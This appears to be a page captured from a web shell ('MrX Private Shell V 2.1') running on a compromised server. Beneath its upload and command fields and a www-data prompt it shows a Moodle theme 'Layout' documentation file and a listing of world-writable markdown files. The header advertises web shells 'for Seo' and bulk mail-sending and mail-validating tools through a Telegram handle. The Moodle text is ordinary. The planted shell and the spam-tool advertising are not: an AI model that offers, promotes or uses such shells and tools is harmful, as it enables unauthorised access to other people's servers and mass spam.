__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
layout: docs
title: "Layout"
description: "Moodle page layouts for themes"
date: 2019-12-10T13:53:41+01:00
draft: false
---

## High level templates

Theme layouts are the highest level templates found in Moodle. They construct the Moodle Page users see when interacting with Moodle.

Layout files define the location of page elements like the primary and secondary navigation, the main content, Moodle blocks and the footer.

Theme layouts are defined in a themes config.php and themes can serve different layout files depending on the page type, example layouts are

* frontpage
* course page
* activity page
* secure page
* login page

## Accessibility considerations

When interacting with a theme the layout needs to be constructed with a logical DOM order: First render the primary navigation, then the secondary navigation then the page content, then the footer.

## Responsiveness

Use [Bootstrap grids]({{< docsref "/layout/grid" >}}) to create a responsive design. Make sure the primary and secondary navigation can be found easily on a mobile device.

Always try themes on all different theme layouts and ensure font-sizes, paddings and margins are used correctly. Especially for frequently used pages like courses and activities.

Filemanager

Name Type Size Permission Actions
_index.md File 74 B 0777
colours.md File 1.91 KB 0777
grids.md File 2.36 KB 0777
iconsizes.md File 2.03 KB 0777
layout.md File 1.22 KB 0777
positioning.md File 1.64 KB 0777
spacing.md File 1.8 KB 0777
text.md File 2.05 KB 0777
Filemanager